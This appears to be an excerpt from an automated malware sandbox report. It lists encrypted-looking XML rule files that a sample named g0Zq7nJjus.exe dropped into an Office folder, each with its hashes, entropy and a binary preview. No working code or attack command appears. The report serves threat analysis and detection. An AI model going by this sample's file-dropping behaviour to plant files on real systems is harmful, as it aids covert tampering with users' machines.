Preview:	<?xml\|a'%....._...^V.....EJb..B...'..s.e.[........\|..H.9tO..\...`K..a..J..v.D..ii.2m}.cL.k.........$.Y ...0....8..........(..8....ELg'..A1......#i.....s.?~.......&Or......u...~.-R.$.5..w!0.....Hq...j\q.h..;,....q.<.......eS.97....b...i.....<..j...X!A..Mm..LD.....s2.dpp....=..`I...+.v..2.]..e.u...VI.^...hR(....l...iPA.....k..f.4.._U....:z.........BH\....A..90.?..gXv4..........Y.6..41.v.[.....0c, ...8C.m.V..X.y.....x.(........HT..@C.!..q.<V...q.2..n..1)-..z..$P0._.\|...].........V.o..\|Kd...I.......J46..H..;....p...o.`/.V.{...A......b#_...[....Cz...Na.b.Y3^.j......y.3`...1...I.T\|..+..q..ur1..S.}..q.X...\|n..h.5.$.t.H..e.}.:..._A.5..........R.....3S......"..T..AS...$.>8......M.%.6.@7....x.A(...V%m...E......L..:.?9.6k..P.2....q.B.l.-X2...Uq.}.,.m=^7.>.H^.\.e..........[.'......p.?.d.../u\$.L..p...T.....J.{.d{..Z...~\|..-x..&.zV..8.5{]Q...kAv....F;.b\3...=P..=.,.L65..1......U.Ph....;tTR.....l.,.....{.V.2.;..t....M...2..G..@8...k....H..[@e ..E.r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.880935458782713
Encrypted:	false
SSDEEP:	48:vyCRVm6FDbGS3yXwLppKlm5Vuz53DkjPjB3YKD:qCRpbZmwLPCabrlYC
MD5:	90532EA1099095F89A1BF034CA6AA82A
SHA1:	49B74F88FCF9593CD5CBC68DED91FA9EDB422647
SHA-256:	F6972DC750176FED45611C00F87365F61C88EA5BD83C05D153D3152C1EAFBB28
SHA-512:	18FBFFF3C0490AA071CEE39F377894734951FCE358C1AD8862FCC7371A46D924A6E0FC40E3F2C602A043EAED78589E7AB390B14D23F186A89D2DB9D3D82DE02E
Malicious:	false
Preview:	<?xmlc.O0...K4.k%..@..jE.......F.....V0.Y.`.A......L/..I..m.@".o.../.Y..u...... ..(.........{O(....1....i....&.z=.v.....}..d..TD.%.p0q.......\...=.<....V..9.0.....>u.....{.c6..V.Vd..n[\.=..m...Z.,...p...Z.[\bd.L..m..E...1gr...Lt.... 9%......K.......^O..i.G........~...$.I_k..0...5..~M<......&.a}..1...sVfB$...N+.1;..8{....}-....?......._...!..l9.+......s..d..,i..P.<b.y....1.t....;..Wz.n..3.......Emb.Z...D..D}N ..F`. .D.$n.[.~.)9.19........... ...r.Z..9...s.6 N}E...}-.........J[&..n.....Z,M3..2.i.....p...Z..OF...y.Ig#..A......P.y..3....h.(.V...r..":.a......"..\|..h..6.zuj.h...tA..m..z`j.r.G.wwU^..a.J...F)'9.6S.g.....5.UH..n.U..s..\...3...mg.f.%..>a....E..Z...R..%...(.....9..[.....uk...`tt..k].y7J@OJ.I.........a$....{@.D...........Y.V..K.\(D.wF.....C..I..F....J7..%"....n..&......wM.........z..o...M.\....W.........4...j...G./.=.1.....UF..%.........:...y....9...z..L..Gu..6..r."m..mb.I %..=L8.-.F..%/2o.........hi=x[=....B.9.w...[.......'.C.rX....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.863949127724297
Encrypted:	false
SSDEEP:	48:uFiEg5ef9JtwCmR4EBVa4WnI6ybWOUb3z2ND:uROViEBVwnInUbj21
MD5:	F8687C5F7561E4FA94CEB697BEBA84F3
SHA1:	2BE35225CCE912D1E1E78EA0EA3D11686DFD0EC2
SHA-256:	19430037275A0850799550EDBD5C510A2ECF084527ADDB26692B570E70772AC9
SHA-512:	72EE857C7A0AD0E66CCC872C24C0EBEC7C3CA024B1C0D3CE7F27DA93B5FC085E3BDA4AE93B2E115E536410ED8BAB032A1545FBDFFDA96F60FF46027251909C70
Malicious:	false
Preview:	<?xml....... .S....<.,. ...5.....pNXy.....O.;..=.aK.#X.Bh.Y...b..0@Ll.)\.._.S..f{.){....A.....~...c...Rq...i.@}....}..]..7J..P..~.#4.t.....t".t...C.............C6.>Gb...b. ......Q.lT#c.......Uu'e...r....[.`.Y..f.......z..........O...$)'?.t%.7b#5.&...f.....1A+....%.f......`?h<...X7.+..er.a"....,.j....h...R.....;..P..G....2.+r^.=.`..#.g...GZ.sU.D.-..\)X....K.^NL.....ty.4>.~j.V1.8...z).K..1X......mZ...UL..A ......X......0..Gzv......1..7wr.4.a.~....V...EjzL.T5.~1..w....L+.c^W=..<...x.8......J.f.'.....O.t..i........,%."#.+.3g{p.Nf.^A4...4U.C....4.-w@.%Nx%ny......E/.c.<.....g..?RO./....G..ik.3..M.c...<T......y..W.e..n....\|...${......:B.`..I....zN4.#+.>.vJ.7_tA.``..i..f@...Gz..apu..ER.....St.7@.+......%G..K.'.#j.K..9 .....I}9.........."...1@....a.&...1.....`..q%...A@....>X...$......zC...TG..fv.......K.e....._..k..r.......W>['Ev..5.0..<.v.w.=...ge...:.....#..^...<;...........`.......0..C..,Oa...Tz.}T...@.....K.;............J@....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.88445712326245
Encrypted:	false
SSDEEP:	48:fpGYpGj8O3yIjzezdQaruc7e0XvW6VtBIiD:9Gjv3DvKdQa6Iu61
MD5:	18C974B8CDD160F3DAE5CD0FBB7E1CAD
SHA1:	6CDCE180249923E94725F90DEDF5C1A9AEB82443
SHA-256:	E1C87BA2AA9A2C6A0D52F39674666D49FA0AFC5323CF4D6FA3F9FE637B17E984
SHA-512:	59516735938D2C246B0D21C688863D1A7B93CFE294C229AA704A7508CF5C5595523731F47B7414F7084F98AB394C8B3E5E06E538A1FF0314F941255E014E7C68
Malicious:	false
Preview:	<?xml........OfD....".{..\|b.9....-.A=...E.M"~dF,...>..7....;.A.).+.I\|=..i...}...f7...1\\....W.h.)..P.6PKDQ.".nzdF..5eA........X....^B/.43.>.~q......).1....$..5.r....x0..d....2........L......p...._M.`&.Bv..vBO.L.M.P.....&....?..4d...T......W,................V..#B...Kr.Gx..1L...G.S...'...b.[$U.QZ.J&@&dN....f.W.R.B.O.c.......k......._.?#P...35..,....=0.3.h.h...koh..K....UU.&..1.".Vr...>hO.:U.S.?o.xS&<_...t&.....7.n<.TK.." .z.u...}./..K~V...%.....U...S....6....x..a.u.lU...M^J..T.3.vi.K.%.u{}V..o..K.3O...w..r.?.6.?.[<;..\.....).....2..~...K.s>.`.@....&.....9W'gp....>.x}...7.`...kzJ.^....wa.&..23.:...v...p.E............@Gk".....lR..e.8..U. j.`.OJf@.....v.9u...r..b.z........g......$<$2".....q..E.48k.LXC...=......S......+.p.'...... ..'?..Fv.8.CGq2.u.@_b@.=o0Az.x.\s.!..J.k.Z.=..&sj....Y....V.Jo+..1.\..~_.$..G...^........".J...\|o~/.j..>....o....L..........]y."......I..-8.Q..hBg2.k%a 0..{.hF...aTu,.....jw.G.....vApd.!No.....D..D.k%..*?.@%.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.871796736495609
Encrypted:	false
SSDEEP:	48:hD/ILyBnhwAsY//OTUuOcyf3APFXPZZKuUc6BEOCshj1tjOD:hEy/A0cy6nUihSy
MD5:	3874DDAA7A19C87B3A99BEFC51E31B67
SHA1:	03DE411FC13A3FA536AFCFF6BF5C7F38F688707D
SHA-256:	33ADB13D1EB603BC755E4B41CC16CDD90596E637A233E4BA86D3FB10F9C35B2C
SHA-512:	3EF655C802019EFFB88BA9F57E0DC36015B49D8BB2A5B2881D1BCE73862E76CEBAE9B4AA5460C8AB2387829D8F3D114077352786303101E597EC5214CAD73557
Malicious:	false
Preview:	<?xml.w..0......_....L.z.J3.d?p..I.C.......w......D.\|.>-o....."...X......{.d...K..E...f.X.C.cA...\|.V..r.t..p....X.Y1...\|.c..3s.O...i.)`^.~.B..b........7.^h.u'..\|.\|..nD)O.....9..'.....A.3.Y\...\|.0. ...."..,.5.."...-.v...l)c...1..).Ge...... . x..s@..i.is..u%.e xV<.^...O.<lJ.I.[..OY..Y\|Xw..[.. ...E..Yx.q....%.q."O......^..QU0..8.p.j.n ....b.C.t.U..D#o.. 0=1.W...a...........M}.-..Ow..c'.oeff\|..W...%.5..(..B..".s...V6...u........4..8.....x..ZC.a{..{...b..b.t..'b.5...op.^Za.s.....>.8...<h.8.To.=x,.du....#k...a..=.).#eC.RCH...BV...j4D.u....qi)+..$~..ya.......l.0.Xb.I2]+FK.u\3...s7Hv.\|0@.^..@..../.......{.%#...Jz........sE...,R.2)z.{..4....Xsk...kq....u..K..5....c....+hS..H.....i0..tL..g.-.......D.G.U...wo.!(......f..l.N.V..s....K....@!..kQ........_U5U. ...sr.L.d.)....3h....?.y...G.x..0.:.E.~.eHCt.;z..[.2...f&8..7mR@.q.`T2...v1L.#f"p.$@.GU....'[.p..ea...lm.sF.5....x...@....L....$..>.t......\.....K...:.4.g..#BF.y...Mt..XeP.(.L.].@f.$Eh.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.886948286134773
Encrypted:	false
SSDEEP:	24:pt5pPWerkevtwYxG6/cy3tZnyylHF8XFatElLuTVxKj7dM5+9cWUe6HlHgNBb2bD:ptjvvaPWZrF8VatEl4nmdM5270xgNeD
MD5:	F81CB7C4301A9C0FEF688670E263ACE9
SHA1:	33E2218027BE7264714FFD1B0FC34A405E8339D8
SHA-256:	D328FF92534EE3849737881ABA15092B9A42319197D2CA3D4943826E7F08F174
SHA-512:	70DAA41F9151F526EE416FFEE72FC785DD1760309227DCCAEBC544C9C5DD0D427CED89FC41212231609DB150E8EAB704A9BDAFB7C3CBB9BB65563EA3ABA56E70
Malicious:	false
Preview:	<?xmlC...e...w..."9N..M../.H...S.~....l...pAe.>.-..[.S..\|....Gd$H....K,C..mA..1.'...o.#P^h..9.o_...M[9...fv..s#1/..Y.a....I.V............y. .>).n...u.......\dO&M".../(.5.O1.....NV.ub1......><.T..PA.t!..z..~,...K.G6.M5'. ...\.$..[!T>e.....\M.t.....i6m..U\...vj...'..{..2d.L......S.C,\7/0.C...l.(.A.b..K.Q..gB..RN....x...2y,nNf.3..H...n.../.........&..4...K.0&~blA`G..Z..b..uk.../..{.f.2.2...W..l.)...l?...........Hw.2..\|...B........b.y... LW6.\|....B...JUkf-.^.._N(Ja[...g..bc..4....%.E+......].......D....D_..E.^)p;..b.5........84...".....z.....@./....C.TP\.....X.4....0R........^.H.t.P...}...<..g..W..j....V..yd.VJ..ga.u.K.e.V<....X,..cp]..vM..G..;5.[....= l?H.S....D. I..N.VHi....{..C{....g......;L.~........'......9...<.4..p.t...g.>..}#/..p..ar>^...h`.WLa.X.#....`..@....5......CN/-=,.q..Cg....?.w....a... `.ih........ .l.........kXa....c.7..Gk.v;.r#7.e.Er.H.....E>^!.'B......S}...s.....S.]wG.B..@.......S.....".{:1 ...a.J.".@..S.'...o.1g....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.883900452629639
Encrypted:	false
SSDEEP:	48:vhC427Uk52qFOqg/Ae/VZYcJyiXXWTXAT+jFsl+6D:vJNAe/L/sm9T+jFsl+S
MD5:	A299C90B640E24E3DE356209C7D7457E
SHA1:	E6F26707DA6C19E293D8270157F7EC1300F46DBE
SHA-256:	D114E782A962A709D24CAA82F9A8DA16715DA1722978A040C5090A84245C0616
SHA-512:	FC2E97DA138A8E906606F18A367602CAE1D91E368E504A7F3DE84DD4C635168093DF0D06CE9349F9FF54ABA0EE8466646D59DD7A28564E2F7D9B43A9EB9137FA
Malicious:	false
Preview:	<?xml....!@e.g...f... L.j.XM_f...C..ia.W>..x...........!.^.f..).P-...g........$^u^U..yOA.cU.........DXod..6....).n),..D...$X.s.B.....c...cA.n....z?..W.T.c..{~.X..I.c.;...].9.YN.......7.>._.D.K.......vj....O.9..X.4.;.-..a........gZw..z..q..\|%4..~....^K.\|Z.q.g......D..oW...:...I.S{.G.RA.....>Y....+.....7.r...8..1..q......-......Z0pruE..%n.l..B......<....\.........\|.mn..&.....*..v..cn....O{..!N..4....^.>f#.......U...F.B.}d..n..7`)....5..[~gX$..."O..^J{`.4..Yyi.....le..W.z.o..G&...d4w..#CG......cR.zH..tF.6.?:M..c....R........y.$...b..XG.nsS... ...nY.6_M&^C."..............sqE....E....2.~...^_..{<...x.....1..u`.vQ.x...FE.(......)h.+.m'l....c....zlK.Z.cdV.3#.S........Y].bNo..O....(..6..I9..&.,.W]D...-j..Vu..x....oz..[......N<.........e\|4..~..j....Sp..Z...b.\|..R....#..Q-!6.........m....Q..$8-.;..\|....6`"....u.uY[......".1.Q/.'.Q.d.......v8.n...0..-SH.........^...)..zV..MDB..."..0>.}..\|.'H\JZ-7]A.....`h.N.)....g]...........=&>.G.O...;.....7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.8746657251246
Encrypted:	false
SSDEEP:	48:EQghc9HltJRtlCnhDWsVny17lMgmf+aGAPlXG67ihnD:EQdHrftlCn4sVimWdAdXtwD
MD5:	A84025CDFAD5317FD5FB79D6D8A77FE5
SHA1:	5FAC47A88A285589884068BAC7369C908B1EB453
SHA-256:	7D376A96201D370AED5E92C2FAE34353D1CFB34A626DE07855C9FBC398B95E97
SHA-512:	4E430633D52415FD2927B13573F926CD809BCF2ECFCB431AFE9600CD9F9342F37DA40ED4AEAAE4849DCE7ECF357078EA44FDB30F65E69D09F0653EE75B54EC80
Malicious:	false
Preview:	<?xml...._.f[T...e0#........4j..m<....4.{.......f ..2.T.by:..wt....;:UE..E.$o\Z...=G.....\|B._o..}L.Gd..~#..m...%+.x..x...Z.........$L...#Wm....31..mh.h(.....j........B...;<.,..=..-.m[{.{.S...k...X#\...)..9.(.h(.#.h+..kR\.'...M..B.....39...n.Mg.I731.j....~....t)B.-......t..\|...i9.}cN`[.CO..P../...5.....JWn..D.\|.(E...}p.C`.K. ...ya.z.oVs..L...."..t7w...AS......0...3.\|.....Z..l..k._F..... ....#.'...JeH...#>=.t`.K...0... ..j.@f.......g.uw...].... S..5.?.......RJ..J.E.........D.u.(...8gm....^.%.........k..J........?Qs)...vW....B.ZS....K.X..`71.......l..6...vw\|.(..(~...b..~.~. .F.TT....h...(/x.......,.<50TOt.%v.... ....UBWn.......(.r...M!.'.X...!.1..LR..9.....A.(;. .J.{Yl.J........w.k.C..8..]....u0..pi[........hg..0Ch.!00...n.....PY......bY..S.W...,..f..gs.....,.q.B0.wm..O...+.....(.3..P...x6....i...u...d.@.u..h.Z. .)-b......rr. .p@..{F..+.........C.......b.r.G...,....V.../........4.RW)-*I...A..n.Jz.]R...`L~...r.V..T...M!f.L...^=s.+n..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.878585976132702
Encrypted:	false
SSDEEP:	48:vp54KK1bvbiyaco98PtklRuD1HXNTRADAdf3mIX/D:4FO/t981kXu13qAB3f
MD5:	54DE7176CC55BF5A5452BDE822A585BD
SHA1:	4484D91B713317D7D872877E40C16B729DB25BBC
SHA-256:	09981BD0D3020357465A103CE9C68FC88E491F6D91F113135BDB01C9BC1E422B
SHA-512:	1EF247E2ABB93742BC66247416B759E38EF6F456DD54E99B6632A0710C9E90AE84163E9567839257A44715FF642094C99787BBEDDB856D3A94C60CC1CD7C67B8
Malicious:	false
Preview:	<?xml..F...:....6.{,.3ls...n'.......N+.+F...I.3..'?A...7a...K[...8..;ur.6.w.....PA....-...r.\..I5<..Y2`b.73...C[.A3..&.A...r.!R..T.cyE...Rx..)::........".w:2..L.Y.9..@%4.8_.....:5..?=E~i....\|G..).-...%6?n;......Ca,Ei...LZO......V...d....;.N.5..".g..^<.U..P.'....".....u.f...tP./..l.,S4%B....._........V..n.?.%.zN..;.,../.p.?.M.C[..;.v).:........B.J..A<...,....,.w.L..j.i!.,.......l....5X...^m.y!.y.?.+8..fk.}.Z....S...{;..H.^YAwzO.c.a..A.U3}.O .n.....z...zG::...N...j)..NG.....[....1...<.T..e}..?C.ez..S>...)X@e..D.....C.y...D2...........W.......{.Q..?...K......L....I...rX.T.. Y.......?..A...2...s.A..<..NP..%..{@....].x.......6..@...W....duA..5I...&..gn..!...,l.Zk...u.....g."..z..5........e......qV..e..I......Z.t.H.f......bt.".@...Za.gj.x...l.hq).\|..../.,\|~F..w.s...............S.H.!..0.PD..k.H D.P..`.G...pN..X....*b.PG..58$%.+t..+.O...z......n...}.FmT..0#.....,yU.__u.....T...!.y......Z......V^..O.9-....wc.._.....Zp..y..v.f@..o......;.=.'.[X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.899976010649688
Encrypted:	false
SSDEEP:	48:WQc04dZWwj0kQgJMuszcUBHXRJf99m01PNwK3YL91DAD:5GFjpQgfs/J/94WOK3G92
MD5:	3617C989CA9586BE906BB9F9D3145385
SHA1:	057827310FED92F00E6523B98A3150D617DBA8BC
SHA-256:	2C51A52F80756A15FC1D4C29299F1CAFEE093B7D77FE4C504F233F43C699EAD5
SHA-512:	40BE10778F510FD30893DA5BD15AAAC04B6F48F472610E6A7F362E705BA663423FD048C708F895A3EAFE6B40B0C296F37610258B8D2F12E10F8C173CCAF0DB4C
Malicious:	false
Preview:	<?xml.K..#......F..{..^"/A..3. -.rpWI..1...m.=.d.....n.(O.@w...LTy..I.-.u.Da....X...B..V.C.....v;{.Q..mpb.i-G..5E.....uB)..;C...;0Lz..yI..2R.*....6[...e..[,.... ..fn........)............./H.A..nq.uf..Z.g.Fm.....t......" ...z../a........e.....^...<W......N8U9...I.e......l..kN.~{x.e(gV.....T.Lq..-.~7.......bB.\..\8/..7......!...St.9..`....(.2......f.oj..W...]...\|..j..]\|...sM.=......t...`c....UI#.#..6.v.f..n.KN....:.... &Sh.m.1..<...'.....4.R..>...,..Oza<ZQ,...q.=.~0..fUtA.Cs....ik........A<..`...T........Dw.....m..r..k....<.FTI....hZ,.l.5`..n?....a..-V[...I...,.y..I.C...H..q...$..>B.&......Q...#o6......U./.#.)..z.....e.....u.+!........#.......3.. W."s..@.x[7=.&..e?_..'.,x+.../..V.5.i.g(%h..l.....A.+.'.L...aJ.....g>d>#..N..O..)}..X.Ji.?....K.$..o+..[.v..;..................0.T....8.Al..e...3......7........2'....y.y.h...hW.z?`}..j.."."p..).R..-...8..%.0......k.u.B.ve...zd.UqW....M%\u+t..+K.p......<2.KZ..[...]%B.......I.JW..:.mC.....+z_..q[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.88281796772358
Encrypted:	false
SSDEEP:	24:h8Gzhfpf715er7lFW2qKc1MI0lIy08u56DSd1CJJEWkDkgQaFP+eND7yOL62bD:CGtflLS7ly31jF8DSdf4LOGahxD
MD5:	AE04601CFD57945BB865C409C3B26AC6
SHA1:	8E61E0EB72645C065AAB4E0854E1FBE3B8D6DF69
SHA-256:	2966BBE0B6B47C1A557A179335A9CCE3C6CE1F518FE330F5CE048351B4423DC0
SHA-512:	83CC5759EAD1A70568C5639FAAFA48B1CD9C5539BB73750BD51C6389337842210A950C1F62A5AC874EA422E2C63F1B6357FF0C503005E4CEED14E9954E957D3E
Malicious:	false
Preview:	<?xml...o..3..h.....Z.~,......8.p.-....tW.e^4&./.>.Fx.l....&P..U..Q.-....&...{.......j65.l....3v9..j.D..E..S......C.z..7.....uW.;...t...6.}.h..{....}J..!...d.....:.........I.....^.....qB..!...}.C.If$...N....o....@b..0`}.... >..>.Bpx..I.h.nd\|...c.s..L.o.g..e.#.....1.x.K..S.....&.d..1.I.FMr.M..p..l.,..#..Z....#.=z....cTt..9)..c..@..e.T.....f..>az....O......Ez....\k.......+.GN\|......}...I.+T,...7H).%yCW........6........t...{.........&..Ll.j3b.$\|..Oo.l.W..J.7..v....&.yv....-=RfW.5G........@.).<d.#...%..0.t.9....i."!.....J....S.(.VG.. .X'\|y...n...A:].6..i.&...?..]q"&.x.....\.:..r...qZ1.!.0.......au$....i......./..O.......-.1y..7Dj...j}P...M.Hm.a..6.].....S.d.=".&.&.\|...\|p."....Lq.'h...&...TO...jt..g..s.....,....itr... ..i.Iuu...uY_.Dp9.V,.7:...h...0...5......J"..P..%...e...(j.pc..%(?.....g^.WH>.G.4.%...ey...g.....:Xn.U.......>....a..<Lo6.R\.V..j.O...{/....V?....6.^..(#.,.....T\|.`....'ls.s....&..O.0@."..8..]...=ZZj..sqgpx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.902459991274693
Encrypted:	false
SSDEEP:	48:y7HtihhpMJZ5Qq6gzPLcA9cIyqNomihq6AyD:iHgcpLcWcIxbihq6z
MD5:	624D9EA30200A921A92743F0BA45C208
SHA1:	6E9ED608BEAFD6B336B5124F343FE1E437D99D4E
SHA-256:	A9F26288C2FA1FE92C8291A9D3C68441E3C1E3A4263FB151FC2BE2A79959D491
SHA-512:	1C1B35614BC7B542FB665923CB2FBA116F6BAFD02332043E873E4FD9855F8D1410D4DA62320EAE42DCEC2FCAACE87D7238E6F96078341EB818B0AC1F7B542899
Malicious:	false
Preview:	<?xml?r0.J..&.[...#.....g....;...".U..f..Dti.0....3...cw..>.2).>$..X.k.(.(...@'.Y.B}O.<.....\|.L..P?Z....E.A5#k[.n4..3<A8.U0.<.. .X\?.y..L:.\.2.dq\|..\|...J..p.).K..W...o.e.Y.W.....>L.A.r...x. .0_3Q.......l..h........bI.+.......t....:.....3.B.V..^Nwi..6.&!.~.%J........}...\|%bK........z. .....E.g.=.N...e.SV..P....\i{..K..0M..$.s\.3<;.W.$....}!m.......!.._"...I.w...H......]..j..G..B.~...3./....]L--.du..NC........J;..M.GS.sG0..}U.7...4.% ......B^!.5....L.E.....\|A...[mW<_..G\|.'V3...$...X...W...W...kF.?....L0.....)..r...\.Ps.k........Z..`.h9;......d..]t.$.UD..qc..#.\|..0L.v.-....$i...X.T......K]...;.N...[.o.j:./....0,3.Cb.......nz.f.o...r...S.U..X....{$.gzo..gF. .......l...5.:.y....&.....U.-a....%.{.P.J"...=M..~.).b..\|.l-r3.u]....n...].....4.....V.....#..I..j,...z....}.%C..S...c.?.....\i..:{$k......<.-....F.9R...E..@.Sfm(..y.[.._TNu+.....(.^...%...-\1p._#..2+...DE..p....L.$....L...s..Z...=.B......d...._..#.....@.....1.Vt..$.Q...4=#..m<8c.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.895376713373284
Encrypted:	false
SSDEEP:	48:PowoehBPz5xqXln5xjOT4cBzgv6f55AaIkBnqCllyD:Poreh15xq1n5V61186fHAxkBnql
MD5:	514C2D0FE7249191BABDAE3D51B1007C
SHA1:	EC0ACF635472C37CC5783E194CCAF58E42858D7F
SHA-256:	D7D2C1396A8F60FF1B9A6A6A458071F8C8AC7F728AB94A0F9AE5E2221C7125D0
SHA-512:	A815DAA346C0ABD0F4B7F15017D12ABD447E9C318A89CE265D237796F09C90662AB7C6EFEEC4B3143D854289FD99A0F575B525855AEA68623EE9423F7B1E1C96
Malicious:	false
Preview:	<?xml.(Csd..P~k..".X..M.....`X.+.B.......#..\...=.o:L.C.........../.m(x..xX......Tde]T...(.3j...'u.g%x.....I..9.....B........+CX..>..;#..}4."....C....!e......x]h..w..i./<.2c.s....0.r..$...U..Cv.........R...CVy.p...Ex..~.r.v.W.(......R.........'2....d........tK.L........p..+.8.......md.y.&...,..e$LNi)K.u...%z....C.......N.z.....N.=y..[`_4....)...$_.."._;..~.!....5.r.~)....m.... `.......HY..J...\.........r...2....tf..>...'.-.ylC........3....n6.Q....a......`.e^.r.3k.\|..=G..~..L.....U ....Sy.);....K..6n"?2..:...1.'.w.zl..F.{H....>$n..O1....-\o.......\.m.$..c.d43..y......e..W...9......$`.....Q"...^3$R^lE...{...O~..S~...b..C..F!/b.f;{2...#..B.X.~.......0.{.!>.O>."...Q.7.nw..w.Q>w..Z..A_.....a.I _...O.4.&.....t..i...`..pS{z........G...u.\s!m...U...)..2~.)....T...,...K.uD.C.......[.{.j.k......r7.J.U.pa.......9!....8r.....UI.:.....iy>[l.}.]..1`\.R[..3...:`C^..b..hAJ....9......\| s..9S...}.~........2............s.I.H.VO.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.8863541315710775
Encrypted:	false
SSDEEP:	48:acnS0TKGk7P6/82HYFd8DuoHvhBYE9aEpKD:aF0TKNabkdqZBYDkC
MD5:	446756A9A9D85CFAAD9C3A92E138F877
SHA1:	C8808FE0EA1C2E4A2CB7A5668FF3CCAD25CDDFF2
SHA-256:	12518A9F9ED602DFCE5D5F268C5BEAE061A0BB7E58AFE4A0AA5CDBC448D43A5E
SHA-512:	65C206C7E48E3A6FAC0E3573520D26974A38C8B54D924337EC76E36D31DCDE2C790A2C32C6158A5ABDBE58666F6CC7853DADDF9C9F016C83FB01F06C278D1488
Malicious:	false
Preview:	<?xml0P..a..ZQ..0..H.T~..\.G/>.......bK.i.x.8.,c..3.......?z.a.8.39B....`8/.b..c....#jl...}>.f.vP9.A.Z..H..>T.]]O...xQ0.-x.....3@.e 7@....F^.>.BPV?QE^.U.r?tv2..I..]3...{6.s..&.d.^.kn....Ku.E.Nn..N_..W.0...Y.v.(...P...u.A0J.c.1T.?t'.[~.\|F.i.n...Oh#.....H.j.t..}...q..v0..kI.-...='..@..Ws/.j.cj..~-s.P..g.3g.5.H.'.:.$k.t.......l2\...0...,.K.lB....(.kf.Wn....!.m....[.\|.+....k._....DR.q.Z....6...$._p..Im.b....oq...W..u.B.gJ..N..s#.Kt.~..^.j\|.6..;<.Q.57.D.;..'..~.........D.i. .W....-t...g....s...C.........x&....Fs....f.N.Gc.9..;.q-v..X.......d="(B..4VI..#p...,wt.+.!.q..4.....g...^Km...U...4Ad........jS..y..{.....Rf.w.>.q.....R$GQ...:.....~...h.S.. .W..Q.."r....Ur.[...b4e.......#o...Wwk...j..o..@...c5$a}.^v. A.x..l6.3W.-F........p...S.P..e.h.x...L.W.s":..".E..)p.....h5.O..S..#.P.'.7;.X......HY:.{..........^Y._.."..r.!..0lQ.}..;.7..V.cd..y....gd..V...?'....KT...v1.2".w..C.;.r.Q"..,.P4+.......p.S&1..Y...2..=..;..^....J....&S..*X.....[.(.O=.s....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.88231755543547
Encrypted:	false
SSDEEP:	48:qvtvnvb1I5fzNQYM/DbQA8cqUWBSuPwtDOfTCDTBdqZp4nD:qvthI5fzKPycwSuYOqVdqZC
MD5:	8FA805D5FFA7A5E863A79C863C83468F
SHA1:	F3E72132B8E27FD7CCE1B50B00FB815079EB304D
SHA-256:	1FF260E2593FEE7EB6A6363B42E69F826D5793ACF30C5FB1E3D531213BB73981
SHA-512:	4CD52D5468E412E035288DDE38099B77ED28168E9798A8B83FD79E1133C27D24A1623AEA292267AFB4A7A351E96D66267AF84A6B5F6D43DC089738F55A06AC70
Malicious:	false
